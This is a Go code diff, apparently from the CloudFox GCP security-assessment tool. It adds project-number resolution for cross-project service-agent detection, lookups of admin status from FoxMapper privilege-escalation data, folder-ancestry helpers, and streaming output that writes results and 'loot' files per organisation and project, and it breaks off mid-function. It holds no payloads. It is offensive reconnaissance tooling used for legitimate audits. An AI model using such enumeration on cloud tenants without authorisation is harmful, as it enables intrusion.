Regular → Executable
+1
@@ -102,6 +102,7 @@ func (s *OrganizationsService) SearchOrganizations() ([]OrganizationInfo, error)
|
||||
orgInfo := OrganizationInfo{
|
||||
Name: org.Name,
|
||||
DisplayName: org.DisplayName,
|
||||
DirectoryID: org.GetDirectoryCustomerId(),
|
||||
State: org.State.String(),
|
||||
}
|
||||
if org.CreateTime != nil {
|
||||
|
||||
@@ -123,14 +123,21 @@ func (s *ServiceAgentsService) getResourceManagerService(ctx context.Context) (*
|
||||
return cloudresourcemanager.NewService(ctx)
|
||||
}
|
||||
|
||||
// GetServiceAgents retrieves all service agents with IAM bindings
|
||||
func (s *ServiceAgentsService) GetServiceAgents(projectID string) ([]ServiceAgentInfo, error) {
|
||||
// GetServiceAgents retrieves all service agents with IAM bindings.
|
||||
// If orgCache is provided, it resolves project numbers to IDs for accurate cross-project detection.
|
||||
func (s *ServiceAgentsService) GetServiceAgents(projectID string, orgCache ...*gcpinternal.OrgCache) ([]ServiceAgentInfo, error) {
|
||||
ctx := context.Background()
|
||||
service, err := s.getResourceManagerService(ctx)
|
||||
if err != nil {
|
||||
return nil, gcpinternal.ParseGCPError(err, "cloudresourcemanager.googleapis.com")
|
||||
}
|
||||
|
||||
// Get optional OrgCache
|
||||
var cache *gcpinternal.OrgCache
|
||||
if len(orgCache) > 0 {
|
||||
cache = orgCache[0]
|
||||
}
|
||||
|
||||
var agents []ServiceAgentInfo
|
||||
|
||||
// Get IAM policy
|
||||
@@ -156,11 +163,19 @@ func (s *ServiceAgentsService) GetServiceAgents(projectID string) ([]ServiceAgen
|
||||
continue // Not a service agent
|
||||
}
|
||||
|
||||
// Extract source project from email
|
||||
// Extract source project from email (may be a project number or ID)
|
||||
sourceProject := s.extractSourceProject(email)
|
||||
|
||||
// Check for cross-project access
|
||||
isCrossProject := sourceProject != "" && sourceProject != projectID
|
||||
// Resolve project number to ID using OrgCache if available
|
||||
sourceProjectID := sourceProject
|
||||
if cache != nil && cache.IsPopulated() && sourceProject != "" {
|
||||
if resolved := cache.GetProjectIDByNumber(sourceProject); resolved != "" {
|
||||
sourceProjectID = resolved
|
||||
}
|
||||
}
|
||||
|
||||
// Check for cross-project access using resolved ID
|
||||
isCrossProject := sourceProjectID != "" && sourceProjectID != projectID
|
||||
|
||||
// Add or update agent
|
||||
if agent, exists := seenAgents[email]; exists {
|
||||
@@ -169,7 +184,7 @@ func (s *ServiceAgentsService) GetServiceAgents(projectID string) ([]ServiceAgen
|
||||
agent := &ServiceAgentInfo{
|
||||
Email: email,
|
||||
ProjectID: projectID,
|
||||
SourceProject: sourceProject,
|
||||
SourceProject: sourceProjectID,
|
||||
ServiceName: agentType,
|
||||
AgentType: agentType,
|
||||
Roles: []string{binding.Role},
|
||||
|
||||
@@ -35,6 +35,7 @@ const GCP_SPANNER_MODULE_NAME string = "spanner"
|
||||
const GCP_BIGTABLE_MODULE_NAME string = "bigtable"
|
||||
const GCP_VPCSC_MODULE_NAME string = "vpc-sc"
|
||||
const GCP_WORKLOAD_IDENTITY_MODULE_NAME string = "workload-identity"
|
||||
const GCP_IDENTITY_FEDERATION_MODULE_NAME string = "identity-federation"
|
||||
const GCP_ASSET_INVENTORY_MODULE_NAME string = "asset-inventory"
|
||||
const GCP_LOADBALANCERS_MODULE_NAME string = "loadbalancers"
|
||||
const GCP_VPCNETWORKS_MODULE_NAME string = "vpc-networks"
|
||||
|
||||
Regular → Executable
+57
@@ -183,6 +183,49 @@ func (c *FoxMapperCache) HasPrivesc(serviceAccount string) (bool, string) {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
// GetAdminStatus returns the admin status for a principal from FoxMapper data
|
||||
// Returns: isAdmin (bool), adminLevel (string: "Org", "Folder", "Project", or "")
|
||||
func (c *FoxMapperCache) GetAdminStatus(principal string) (bool, string) {
|
||||
if !c.populated {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
// Clean the principal - remove prefixes if present
|
||||
cleanPrincipal := principal
|
||||
if strings.HasPrefix(principal, "serviceAccount:") {
|
||||
cleanPrincipal = strings.TrimPrefix(principal, "serviceAccount:")
|
||||
} else if strings.HasPrefix(principal, "user:") {
|
||||
cleanPrincipal = strings.TrimPrefix(principal, "user:")
|
||||
} else if strings.HasPrefix(principal, "group:") {
|
||||
cleanPrincipal = strings.TrimPrefix(principal, "group:")
|
||||
}
|
||||
|
||||
node := c.service.GetNode(cleanPrincipal)
|
||||
if node == nil {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
if node.IsAdmin {
|
||||
level := node.AdminLevel
|
||||
// Capitalize for display
|
||||
switch level {
|
||||
case "org":
|
||||
return true, "Org"
|
||||
case "folder":
|
||||
return true, "Folder"
|
||||
case "project":
|
||||
return true, "Project"
|
||||
default:
|
||||
if level == "" {
|
||||
return true, "Project" // Default to project if not specified
|
||||
}
|
||||
return true, level
|
||||
}
|
||||
}
|
||||
|
||||
return false, ""
|
||||
}
|
||||
|
||||
// Context key for FoxMapper cache
|
||||
type foxMapperCacheKey struct{}
|
||||
|
||||
@@ -308,3 +351,17 @@ func GetAttackSummaryFromCaches(foxMapperCache *FoxMapperCache, _ interface{}, p
|
||||
|
||||
return "run foxmapper"
|
||||
}
|
||||
|
||||
// GetAdminStatusFromCache returns admin status from FoxMapper cache
|
||||
// Returns the admin level (Org/Folder/Project) if admin, empty string otherwise
|
||||
func GetAdminStatusFromCache(foxMapperCache *FoxMapperCache, principal string) string {
|
||||
if foxMapperCache == nil || !foxMapperCache.IsPopulated() {
|
||||
return ""
|
||||
}
|
||||
|
||||
isAdmin, level := foxMapperCache.GetAdminStatus(principal)
|
||||
if isAdmin {
|
||||
return level
|
||||
}
|
||||
return ""
|
||||
}
|
||||
Regular → Executable
+114
-13
@@ -18,9 +18,10 @@ type OrgCache struct {
|
||||
AllProjects []CachedProject
|
||||
|
||||
// Quick lookups
|
||||
ProjectByID map[string]*CachedProject
|
||||
FolderByID map[string]*CachedFolder
|
||||
OrgByID map[string]*CachedOrganization
|
||||
ProjectByID map[string]*CachedProject
|
||||
ProjectByNumber map[string]*CachedProject
|
||||
FolderByID map[string]*CachedFolder
|
||||
OrgByID map[string]*CachedOrganization
|
||||
|
||||
// Populated indicates whether the cache has been populated
|
||||
Populated bool
|
||||
@@ -33,6 +34,8 @@ type CachedOrganization struct {
|
||||
ID string // Numeric org ID
|
||||
Name string // organizations/ORGID
|
||||
DisplayName string
|
||||
DirectoryID string // Cloud Identity directory customer ID
|
||||
State string // ACTIVE, DELETE_REQUESTED, etc.
|
||||
}
|
||||
|
||||
// CachedFolder represents cached folder info
|
||||
@@ -41,12 +44,14 @@ type CachedFolder struct {
|
||||
Name string // folders/FOLDERID
|
||||
DisplayName string
|
||||
Parent string // Parent org or folder
|
||||
State string // ACTIVE, DELETE_REQUESTED, etc.
|
||||
}
|
||||
|
||||
// CachedProject represents cached project info
|
||||
type CachedProject struct {
|
||||
ID string // Project ID
|
||||
Name string // projects/PROJECTID
|
||||
ID string // Project ID (e.g. "my-project")
|
||||
Number string // Project number (e.g. "123456789")
|
||||
Name string // projects/PROJECT_NUMBER
|
||||
DisplayName string
|
||||
Parent string // Parent org or folder
|
||||
State string // ACTIVE, DELETE_REQUESTED, etc.
|
||||
@@ -55,13 +60,14 @@ type CachedProject struct {
|
||||
// NewOrgCache creates a new empty org cache
|
||||
func NewOrgCache() *OrgCache {
|
||||
return &OrgCache{
|
||||
Organizations: []CachedOrganization{},
|
||||
Folders: []CachedFolder{},
|
||||
AllProjects: []CachedProject{},
|
||||
ProjectByID: make(map[string]*CachedProject),
|
||||
FolderByID: make(map[string]*CachedFolder),
|
||||
OrgByID: make(map[string]*CachedOrganization),
|
||||
Populated: false,
|
||||
Organizations: []CachedOrganization{},
|
||||
Folders: []CachedFolder{},
|
||||
AllProjects: []CachedProject{},
|
||||
ProjectByID: make(map[string]*CachedProject),
|
||||
ProjectByNumber: make(map[string]*CachedProject),
|
||||
FolderByID: make(map[string]*CachedFolder),
|
||||
OrgByID: make(map[string]*CachedOrganization),
|
||||
Populated: false,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -89,7 +95,11 @@ func (c *OrgCache) AddProject(project CachedProject) {
|
||||
defer c.mu.Unlock()
|
||||
|
||||
c.AllProjects = append(c.AllProjects, project)
|
||||
c.ProjectByID[project.ID] = &c.AllProjects[len(c.AllProjects)-1]
|
||||
ptr := &c.AllProjects[len(c.AllProjects)-1]
|
||||
c.ProjectByID[project.ID] = ptr
|
||||
if project.Number != "" {
|
||||
c.ProjectByNumber[project.Number] = ptr
|
||||
}
|
||||
}
|
||||
|
||||
// MarkPopulated marks the cache as populated
|
||||
@@ -139,6 +149,17 @@ func (c *OrgCache) GetProject(projectID string) *CachedProject {
|
||||
return c.ProjectByID[projectID]
|
||||
}
|
||||
|
||||
// GetProjectIDByNumber returns the project ID for a given project number.
|
||||
// Returns empty string if not found.
|
||||
func (c *OrgCache) GetProjectIDByNumber(number string) string {
|
||||
c.mu.RLock()
|
||||
defer c.mu.RUnlock()
|
||||
if p, ok := c.ProjectByNumber[number]; ok {
|
||||
return p.ID
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// GetFolder returns a folder by ID
|
||||
func (c *OrgCache) GetFolder(folderID string) *CachedFolder {
|
||||
c.mu.RLock()
|
||||
@@ -216,6 +237,86 @@ func (c *OrgCache) GetProjectsInOrg(orgID string) []string {
|
||||
return ids
|
||||
}
|
||||
|
||||
// GetProjectAncestorFolders returns all folder IDs in the ancestry path for a project.
|
||||
// This walks up from the project's parent through all nested folders.
|
||||
func (c *OrgCache) GetProjectAncestorFolders(projectID string) []string {
|
||||
c.mu.RLock()
|
||||
defer c.mu.RUnlock()
|
||||
|
||||
project := c.ProjectByID[projectID]
|
||||
if project == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var folderIDs []string
|
||||
currentParent := project.Parent
|
||||
|
||||
// Walk up the folder chain
|
||||
for {
|
||||
if currentParent == "" {
|
||||
break
|
||||
}
|
||||
|
||||
// Check if parent is a folder
|
||||
if len(currentParent) > 8 && currentParent[:8] == "folders/" {
|
||||
folderID := currentParent[8:]
|
||||
folderIDs = append(folderIDs, folderID)
|
||||
|
||||
// Get next parent
|
||||
if folder := c.FolderByID[folderID]; folder != nil {
|
||||
currentParent = folder.Parent
|
||||
} else {
|
||||
break
|
||||
}
|
||||
} else {
|
||||
// Parent is an org or unknown, stop here
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return folderIDs
|
||||
}
|
||||
|
||||
// GetProjectOrgID returns the organization ID for a project.
|
||||
// Returns empty string if the project is not found or has no org.
|
||||
func (c *OrgCache) GetProjectOrgID(projectID string) string {
|
||||
c.mu.RLock()
|
||||
defer c.mu.RUnlock()
|
||||
|
||||
project := c.ProjectByID[projectID]
|
||||
if project == nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
currentParent := project.Parent
|
||||
|
||||
// Walk up until we find an org
|
||||
for {
|
||||
if currentParent == "" {
|
||||
break
|
||||
}
|
||||
|
||||
// Check if parent is an org
|
||||
if len(currentParent) > 14 && currentParent[:14] == "organizations/" {
|
||||
return currentParent[14:]
|
||||
}
|
||||
|
||||
// Check if parent is a folder
|
||||
if len(currentParent) > 8 && currentParent[:8] == "folders/" {
|
||||
folderID := currentParent[8:]
|
||||
if folder := c.FolderByID[folderID]; folder != nil {
|
||||
currentParent = folder.Parent
|
||||
} else {
|
||||
break
|
||||
}
|
||||
} else {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// Context key for org cache
|
||||
type orgCacheKey struct{}
|
||||
|
||||
|
||||
Regular → Executable
+492
@@ -1213,6 +1213,7 @@ func formatNumberWithCommas(n int) string {
|
||||
// HierarchicalOutputData represents output data organized by scope for hierarchical output
|
||||
type HierarchicalOutputData struct {
|
||||
OrgLevelData map[string]CloudfoxOutput // orgID -> org-level data
|
||||
FolderLevelData map[string]CloudfoxOutput // folderID -> folder-level data
|
||||
ProjectLevelData map[string]CloudfoxOutput // projectID -> project data
|
||||
}
|
||||
|
||||
@@ -1253,6 +1254,14 @@ func HandleHierarchicalOutput(
|
||||
}
|
||||
}
|
||||
|
||||
// Write folder-level data (if any)
|
||||
for folderID, folderData := range outputData.FolderLevelData {
|
||||
outPath := pathBuilder("folder", folderID)
|
||||
if err := writeOutputToPath(outPath, format, verbosity, wrap, folderData, logger); err != nil {
|
||||
return fmt.Errorf("failed to write folder-level output for %s: %w", folderID, err)
|
||||
}
|
||||
}
|
||||
|
||||
// Write project-level data
|
||||
for projectID, projectData := range outputData.ProjectLevelData {
|
||||
outPath := pathBuilder("project", projectID)
|
||||
@@ -1316,6 +1325,14 @@ func HandleHierarchicalOutputStreaming(
|
||||
}
|
||||
}
|
||||
|
||||
// Stream folder-level data (if any)
|
||||
for folderID, folderData := range outputData.FolderLevelData {
|
||||
outPath := pathBuilder("folder", folderID)
|
||||
if err := streamOutputToPath(outPath, format, verbosity, wrap, folderData, logger); err != nil {
|
||||
return fmt.Errorf("failed to stream folder-level output for %s: %w", folderID, err)
|
||||
}
|
||||
}
|
||||
|
||||
// Stream project-level data
|
||||
for projectID, projectData := range outputData.ProjectLevelData {
|
||||
outPath := pathBuilder("project", projectID)
|
||||
@@ -1456,6 +1473,11 @@ func HandleHierarchicalOutputSmart(
|
||||
totalRows += len(tableFile.Body)
|
||||
}
|
||||
}
|
||||
for _, folderData := range outputData.FolderLevelData {
|
||||
for _, tableFile := range folderData.TableFiles() {
|
||||
totalRows += len(tableFile.Body)
|
||||
}
|
||||
}
|
||||
for _, projectData := range outputData.ProjectLevelData {
|
||||
for _, tableFile := range projectData.TableFiles() {
|
||||
totalRows += len(tableFile.Body)
|
||||
@@ -1488,3 +1510,473 @@ func HandleHierarchicalOutputSmart(
|
||||
// Use normal in-memory output for smaller datasets
|
||||
return HandleHierarchicalOutput(cloudProvider, format, verbosity, wrap, pathBuilder, outputData)
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// SINGLE-PASS TEE STREAMING - Efficient hierarchical output with row routing
|
||||
// ============================================================================
|
||||
|
||||
// RowRouter is a function that determines which project IDs a row belongs to.
|
||||
// Given a row (slice of strings), it returns the project IDs that should receive this row.
|
||||
// The row is always written to org-level; this determines additional project-level routing.
|
||||
type RowRouter func(row []string) []string
|
||||
|
||||
// ProjectLootCollector is a function that returns loot files for a specific project.
|
||||
// This allows modules to provide inheritance-aware loot (e.g., org + folder + project loot).
|
||||
type ProjectLootCollector func(projectID string) []LootFile
|
||||
|
||||
// TeeStreamingConfig holds configuration for single-pass tee streaming output
|
||||
type TeeStreamingConfig struct {
|
||||
// OrgID is the organization ID for org-level output
|
||||
OrgID string
|
||||
|
||||
// ProjectIDs is the list of all project IDs that may receive output
|
||||
ProjectIDs []string
|
||||
|
||||
// Tables contains the table data to stream (header + body)
|
||||
Tables []TableFile
|
||||
|
||||
// LootFiles contains loot files to write to org level
|
||||
LootFiles []LootFile
|
||||
|
||||
// ProjectLootCollector returns loot files for a specific project (with inheritance).
|
||||
// If nil, no loot is written to project directories.
|
||||
ProjectLootCollector ProjectLootCollector
|
||||
|
||||
// RowRouter determines which projects each row belongs to
|
||||
// If nil, rows are only written to org level
|
||||
RowRouter RowRouter
|
||||
|
||||
// PathBuilder builds output paths for each scope
|
||||
PathBuilder PathBuilder
|
||||
|
||||
// Format is the output format ("all", "csv", "json", "table")
|
||||
Format string
|
||||
|
||||
// Verbosity level for console output
|
||||
Verbosity int
|
||||
|
||||
// Wrap enables table wrapping
|
||||
Wrap bool
|
||||
}
|
||||
|
||||
// teeStreamWriter manages multiple output file handles for tee streaming
|
||||
type teeStreamWriter struct {
|
||||
// orgWriters holds file writers for org-level output (format -> file)
|
||||
orgCSV *os.File
|
||||
orgJSON *os.File
|
||||
orgTable *os.File
|
||||
|
||||
// projectWriters holds file writers for each project (projectID -> format -> file)
|
||||
projectCSV map[string]*os.File
|
||||
projectJSON map[string]*os.File
|
||||
projectTable map[string]*os.File
|
||||
|
||||
// Track which projects have had headers written
|
||||
projectHeaderWritten map[string]bool
|
||||
|
||||
// Configuration
|
||||
format string
|
||||
outPath string
|
||||
}
|
||||
|
||||
// HandleHierarchicalOutputTee performs single-pass streaming with tee to multiple outputs.
|
||||
// This is the most efficient method for large datasets that need both org-level and per-project output.
|
||||
//
|
||||
// Instead of streaming org data first, then streaming each project's filtered data separately,
|
||||
// this function streams through the data once and writes each row to:
|
||||
// 1. The org-level output (always)
|
||||
// 2. Any project-level outputs determined by the RowRouter function
|
||||
//
|
||||
// This reduces I/O and processing time significantly for large datasets.
|
||||
func HandleHierarchicalOutputTee(config TeeStreamingConfig) error {
|
||||
logger := NewLogger()
|
||||
|
||||
if config.OrgID == "" {
|
||||
return fmt.Errorf("OrgID is required for tee streaming")
|
||||
}
|
||||
|
||||
// Get base module name for logging
|
||||
baseCloudfoxModule := ""
|
||||
if len(config.Tables) > 0 {
|
||||
baseCloudfoxModule = config.Tables[0].Name
|
||||
}
|
||||
|
||||
// Build output paths
|
||||
orgPath := config.PathBuilder("organization", config.OrgID)
|
||||
projectPaths := make(map[string]string)
|
||||
for _, projectID := range config.ProjectIDs {
|
||||
projectPaths[projectID] = config.PathBuilder("project", projectID)
|
||||
}
|
||||
|
||||
// Track which projects received data (for loot file generation)
|
||||
projectsWithData := make(map[string]bool)
|
||||
|
||||
// Process each table
|
||||
for _, t := range config.Tables {
|
||||
if config.Verbosity > 0 {
|
||||
tmpClient := TableClient{Wrap: config.Wrap}
|
||||
tmpClient.printTablesToScreen([]TableFile{t})
|
||||
}
|
||||
|
||||
safeName := sanitizeFileName(t.Name)
|
||||
|
||||
// Initialize writers
|
||||
writer := &teeStreamWriter{
|
||||
projectCSV: make(map[string]*os.File),
|
||||
projectJSON: make(map[string]*os.File),
|
||||
projectTable: make(map[string]*os.File),
|
||||
projectHeaderWritten: make(map[string]bool),
|
||||
format: config.Format,
|
||||
}
|
||||
|
||||
// Open org-level files
|
||||
if err := writer.openOrgFiles(orgPath, safeName, config.Format); err != nil {
|
||||
return fmt.Errorf("failed to open org files: %w", err)
|
||||
}
|
||||
|
||||
// Write org-level headers
|
||||
if err := writer.writeOrgHeader(t.Header, config.Format); err != nil {
|
||||
writer.closeAll()
|
||||
return fmt.Errorf("failed to write org header: %w", err)
|
||||
}
|
||||
|
||||
// Pre-open project files if we have a router
|
||||
if config.RowRouter != nil {
|
||||
for projectID, projectPath := range projectPaths {
|
||||
if err := writer.openProjectFiles(projectID, projectPath, safeName, config.Format); err != nil {
|
||||
writer.closeAll()
|
||||
return fmt.Errorf("failed to open project files for %s: %w", projectID, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stream each row
|
||||
for _, row := range t.Body {
|
||||
cleanRow := removeColorCodesFromSlice(row)
|
||||
|
||||
// Always write to org level
|
||||
if err := writer.writeOrgRow(cleanRow, config.Format); err != nil {
|
||||
writer.closeAll()
|
||||
return fmt.Errorf("failed to write org row: %w", err)
|
||||
}
|
||||
|
||||
// Route to projects if router is configured
|
||||
if config.RowRouter != nil {
|
||||
targetProjects := config.RowRouter(row)
|
||||
for _, projectID := range targetProjects {
|
||||
// Track that this project has data
|
||||
projectsWithData[projectID] = true
|
||||
|
||||
// Write header if this is the first row for this project
|
||||
if !writer.projectHeaderWritten[projectID] {
|
||||
if err := writer.writeProjectHeader(projectID, t.Header, config.Format); err != nil {
|
||||
writer.closeAll()
|
||||
return fmt.Errorf("failed to write project header for %s: %w", projectID, err)
|
||||
}
|
||||
writer.projectHeaderWritten[projectID] = true
|
||||
}
|
||||
|
||||
if err := writer.writeProjectRow(projectID, cleanRow, config.Format); err != nil {
|
||||
writer.closeAll()
|
||||
return fmt.Errorf("failed to write project row for %s: %w", projectID, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Close all files
|
||||
writer.closeAll()
|
||||
|
||||
// Log output paths
|
||||
if config.Format == "all" || config.Format == "csv" {
|
||||
logger.InfoM(fmt.Sprintf("Output written to %s", filepath.Join(orgPath, "csv", safeName+".csv")), baseCloudfoxModule)
|
||||
}
|
||||
if config.Format == "all" || config.Format == "json" {
|
||||
logger.InfoM(fmt.Sprintf("Output written to %s", filepath.Join(orgPath, "json", safeName+".jsonl")), baseCloudfoxModule)
|
||||
}
|
||||
if config.Format == "all" || config.Format == "table" {
|
||||
logger.InfoM(fmt.Sprintf("Output written to %s", filepath.Join(orgPath, "table", safeName+".txt")), baseCloudfoxModule)
|
||||
}
|
||||
|
||||
// Log project outputs (only for projects that received data)
|
||||
for projectID := range writer.projectHeaderWritten {
|
||||
projectPath := projectPaths[projectID]
|
||||
if config.Format == "all" || config.Format == "csv" {
|
||||
logger.InfoM(fmt.Sprintf("Output written to %s", filepath.Join(projectPath, "csv", safeName+".csv")), baseCloudfoxModule)
|
||||
}
|
||||
if config.Format == "all" || config.Format == "json" {
|
||||
logger.InfoM(fmt.Sprintf("Output written to %s", filepath.Join(projectPath, "json", safeName+".jsonl")), baseCloudfoxModule)
|
||||
}
|
||||
if config.Format == "all" || config.Format == "table" {
|
||||
logger.InfoM(fmt.Sprintf("Output written to %s", filepath.Join(projectPath, "table", safeName+".txt")), baseCloudfoxModule)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Write loot files to org level
|
||||
for _, l := range config.LootFiles {
|
||||
lootDir := filepath.Join(orgPath, "loot")
|
||||
if err := os.MkdirAll(lootDir, 0o755); err != nil {
|
||||
return fmt.Errorf("failed to create loot directory: %w", err)
|
||||
}
|
||||
|
||||
lootPath := filepath.Join(lootDir, l.Name+".txt")
|
||||
if err := os.WriteFile(lootPath, []byte(l.Contents), 0644); err != nil {
|
||||
return fmt.Errorf("failed to write loot file: %w", err)
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Output written to %s", lootPath), baseCloudfoxModule)
|
||||
}
|
||||
|
||||
// Write per-project loot files (with inheritance) if collector is provided
|
||||
if config.ProjectLootCollector != nil {
|
||||
for projectID := range projectsWithData {
|
||||
projectPath := projectPaths[projectID]
|
||||
projectLootFiles := config.ProjectLootCollector(projectID)
|
||||
|
||||
for _, l := range projectLootFiles {
|
||||
lootDir := filepath.Join(projectPath, "loot")
|
||||
if err := os.MkdirAll(lootDir, 0o755); err != nil {
|
||||
return fmt.Errorf("failed to create project loot directory: %w", err)
|
||||
}
|
||||
|
||||
lootPath := filepath.Join(lootDir, l.Name+".txt")
|
||||
if err := os.WriteFile(lootPath, []byte(l.Contents), 0644); err != nil {
|
||||
return fmt.Errorf("failed to write project loot file: %w", err)
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Output written to %s", lootPath), baseCloudfoxModule)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// openOrgFiles opens output files for org-level output
|
||||
func (w *teeStreamWriter) openOrgFiles(orgPath, safeName, format string) error {
|
||||
var err error
|
||||
|
||||
if format == "all" || format == "csv" {
|
||||
csvDir := filepath.Join(orgPath, "csv")
|
||||
if err = os.MkdirAll(csvDir, 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
w.orgCSV, err = os.OpenFile(filepath.Join(csvDir, safeName+".csv"), os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if format == "all" || format == "json" {
|
||||
jsonDir := filepath.Join(orgPath, "json")
|
||||
if err = os.MkdirAll(jsonDir, 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
w.orgJSON, err = os.OpenFile(filepath.Join(jsonDir, safeName+".jsonl"), os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if format == "all" || format == "table" {
|
||||
tableDir := filepath.Join(orgPath, "table")
|
||||
if err = os.MkdirAll(tableDir, 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
w.orgTable, err = os.OpenFile(filepath.Join(tableDir, safeName+".txt"), os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// openProjectFiles opens output files for a specific project
|
||||
func (w *teeStreamWriter) openProjectFiles(projectID, projectPath, safeName, format string) error {
|
||||
var err error
|
||||
|
||||
if format == "all" || format == "csv" {
|
||||
csvDir := filepath.Join(projectPath, "csv")
|
||||
if err = os.MkdirAll(csvDir, 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
w.projectCSV[projectID], err = os.OpenFile(filepath.Join(csvDir, safeName+".csv"), os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if format == "all" || format == "json" {
|
||||
jsonDir := filepath.Join(projectPath, "json")
|
||||
if err = os.MkdirAll(jsonDir, 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
w.projectJSON[projectID], err = os.OpenFile(filepath.Join(jsonDir, safeName+".jsonl"), os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if format == "all" || format == "table" {
|
||||
tableDir := filepath.Join(projectPath, "table")
|
||||
if err = os.MkdirAll(tableDir, 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
w.projectTable[projectID], err = os.OpenFile(filepath.Join(tableDir, safeName+".txt"), os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// writeOrgHeader writes header to org-level files
|
||||
func (w *teeStreamWriter) writeOrgHeader(header []string, format string) error {
|
||||
if format == "all" || format == "csv" {
|
||||
if w.orgCSV != nil {
|
||||
_, err := w.orgCSV.WriteString(strings.Join(header, ",") + "\n")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if format == "all" || format == "table" {
|
||||
if w.orgTable != nil {
|
||||
_, err := w.orgTable.WriteString(strings.Join(header, "\t") + "\n")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// JSON doesn't need a header line (each row is self-contained)
|
||||
return nil
|
||||
}
|
||||
|
||||
// writeProjectHeader writes header to project-level files
|
||||
func (w *teeStreamWriter) writeProjectHeader(projectID string, header []string, format string) error {
|
||||
if format == "all" || format == "csv" {
|
||||
if f := w.projectCSV[projectID]; f != nil {
|
||||
_, err := f.WriteString(strings.Join(header, ",") + "\n")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if format == "all" || format == "table" {
|
||||
if f := w.projectTable[projectID]; f != nil {
|
||||
_, err := f.WriteString(strings.Join(header, "\t") + "\n")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// writeOrgRow writes a row to org-level files
|
||||
func (w *teeStreamWriter) writeOrgRow(row []string, format string) error {
|
||||
if format == "all" || format == "csv" {
|
||||
if w.orgCSV != nil {
|
||||
_, err := w.orgCSV.WriteString(strings.Join(row, ",") + "\n")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if format == "all" || format == "json" {
|
||||
if w.orgJSON != nil {
|
||||
jsonBytes, err := json.Marshal(row)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = w.orgJSON.WriteString(string(jsonBytes) + "\n")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if format == "all" || format == "table" {
|
||||
if w.orgTable != nil {
|
||||
_, err := w.orgTable.WriteString(strings.Join(row, "\t") + "\n")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// writeProjectRow writes a row to project-level files
|
||||
func (w *teeStreamWriter) writeProjectRow(projectID string, row []string, format string) error {
|
||||
if format == "all" || format == "csv" {
|
||||
if f := w.projectCSV[projectID]; f != nil {
|
||||
_, err := f.WriteString(strings.Join(row, ",") + "\n")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if format == "all" || format == "json" {
|
||||
if f := w.projectJSON[projectID]; f != nil {
|
||||
jsonBytes, err := json.Marshal(row)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = f.WriteString(string(jsonBytes) + "\n")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if format == "all" || format == "table" {
|
||||
if f := w.projectTable[projectID]; f != nil {
|
||||
_, err := f.WriteString(strings.Join(row, "\t") + "\n")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// closeAll closes all open file handles
|
||||
func (w *teeStreamWriter) closeAll() {
|
||||
if w.orgCSV != nil {
|
||||
w.orgCSV.Close()
|
||||
}
|
||||
if w.orgJSON != nil {
|
||||
w.orgJSON.Close()
|
||||
}
|
||||
if w.orgTable != nil {
|
||||
w.orgTable.Close()
|
||||
}
|
||||
|
||||
for _, f := range w.projectCSV {
|
||||
if f != nil {
|
||||
f.Close()
|
||||
}
|
||||
}
|
||||
for _, f := range w.projectJSON {
|
||||
if f != nil {
|
||||
f.Close()
|
||||
}
|
||||
}
|
||||
